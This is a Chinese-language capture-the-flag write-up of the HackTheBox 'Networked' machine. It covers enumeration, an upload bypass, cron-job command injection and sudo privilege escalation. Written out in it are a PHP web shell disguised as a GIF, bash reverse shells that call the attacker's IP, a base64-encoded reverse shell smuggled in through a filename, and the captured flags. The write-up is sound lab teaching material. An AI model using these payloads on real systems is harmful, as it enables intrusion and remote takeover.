> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/networked-hackthebox-writeup.md). # Networked HackTheBox 复盘 Networked HackTheBox Linux 复盘，涵盖 Web 枚举、上传绕过、命令注入和 sudo 提权。 {% embed url="" %} {% hint style="warning" %} **技能：** * Web 枚举和源代码审查 * 文件上传验证绕过 * Cron 任务命令注入 * 滥用 sudo 错误配置 {% endhint %} ## 侦察 ### 工作区设置创建一个工作区，然后验证与目标的连通性。 ```bash mkt ping -c 1 10.129.5.171 ``` 响应确认目标是一台 Linux 主机。

### TCP 扫描通过完整端口扫描识别暴露的 TCP 服务。 ```bash sudo nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 10.129.5.171 -oG allPorts ``` 扫描识别出端口 `22` 和 `80`.

### 服务和版本扫描识别在暴露端口上运行的服务和版本。 ```bash nmap -sCV -p22,80 10.129.5.171 -oN targeted ``` 该主机运行 Apache `2.4.6` 在 CentOS 上，带有 PHP `5.4.16`.

### 端口 80 网站显示以下消息： > 你好，朋友，我们正在打造新的 FaceMash！\ > 通过资助我们来帮助我们，成为新的 Tyler\&Cameron！\ > 本周六来参加泳池派对，先睹为快

使用 Gobuster 枚举目录。 ```bash gobuster dir -u http://10.129.5.171 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 100 ``` 扫描显示 `/backup` 和 `/uploads`.

该 `/backup` 目录公开了一个 TAR 压缩包。

在本地解压该压缩包。 ```bash tar xopf foo.tar ``` 压缩包中包含四个 PHP 文件： * `index.php` * lib.php * photos.php * upload.php 该 `upload.php` 页面提供一个上传表单。

直接上传 PHP 文件会失败，因为应用会验证图片格式。 ```bash " . shell_exec($_GET['cmd']) . ""; ?> ``` 应用将该文件拒绝为无效图片。

上传一个带有 GIF 头和 `.php.gif` 扩展名。 ```bash Content-Disposition: form-data; name="myFile"; filename="cmd.php.gif" Content-Type: application/x-php GIF89a " . shell_exec($_GET['cmd']) . ""; ?> ``` 应用接受了该上传。

尽管扩展名是 GIF，上传的文件仍会执行 PHP 代码。 ```bash http://10.129.5.171/uploads/10_10_15_2.php.gif?cmd=id ```

在端口上启动监听器 `443`. ```bash sudo nc -nvlp 443 ``` 利用命令执行获取反向 shell。 ```bash bash -c "bash -i >%26 /dev/tcp/10.10.15.2/443 0>%261" ```

### 切换到 `guly` 一个计划任务运行 `/home/guly/check_attack.php` 每三分钟执行一次。 ```bash */3 * * * * php /home/guly/check_attack.php ``` 脚本会检查以下位置中的文件： `/var/www/html/uploads/`. ```php $value) { $msg=''; if ($value == 'index.html') { continue; } #echo "-------------\n"; #print "check: $value\n"; list ($name,$ext) = getnameCheck($value); $check = check_ip($name,$value); if (!($check[0])) { echo "attack!\n"; # 待办：附加文件 file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX); exec("rm -f $logpath"); exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &"); echo "rm -f $path$value\n"; mail($to, $msg, $msg, $headers, "-F$value"); } } ?> ``` 脚本在未安全处理的情况下将每个文件名传递给 shell 命令。通过精心构造的文件名注入命令。对反向 shell 载荷进行编码。 ```bash echo "bash -i >& /dev/tcp/10.10.15.2/4444 0>&1" | base64 ``` 编码后的载荷是： ``` YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yLzQ0NDQgMD4mMQo= ``` 创建恶意文件名。 ```bash touch ";echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yLzQ0NDQgMD4mMQo=' | base64 -d | bash;" ``` 在端口上启动监听器 `4444`，然后等待计划任务执行。 ```bash nc -nvlp 4444 ```

计划任务返回一个 shell，用户为 `guly`.

### user.txt 标志 ``` fbeee367bab941cefca951caef664f27 ```

### 权限提升检查以下命令 `guly` 可通过 `sudo`. ```bash sudo -l ``` 该用户可以运行 `/usr/local/sbin/changename.sh` 作为 `root`.

脚本会将用户可控的值写入网络配置文件。 ```bash #!/bin/bash -p cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF DEVICE=guly0 ONBOOT=no NM_CONTROLLED=no EoF regexp="^[a-zA-Z0-9_\ /-]+$" for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do echo "interface $var:" read x while [[ ! $x =~ $regexp ]]; do echo "wrong input, try again" echo "interface $var:" read x done echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly done /sbin/ifup guly0 ``` 输入过滤器允许空格和斜杠。当 `ifup` 处理生成的配置时， `test /bin/sh` 会触发一个 shell。运行该脚本。 ```bash sudo /usr/local/sbin/changename.sh ``` 在任意提示处输入： ``` test /bin/sh ``` 这会打开一个 shell，用户为 `root`.

### root.txt 标志

``` 6fa61de6fa918d2db507070fec1364e8 ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/networked-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.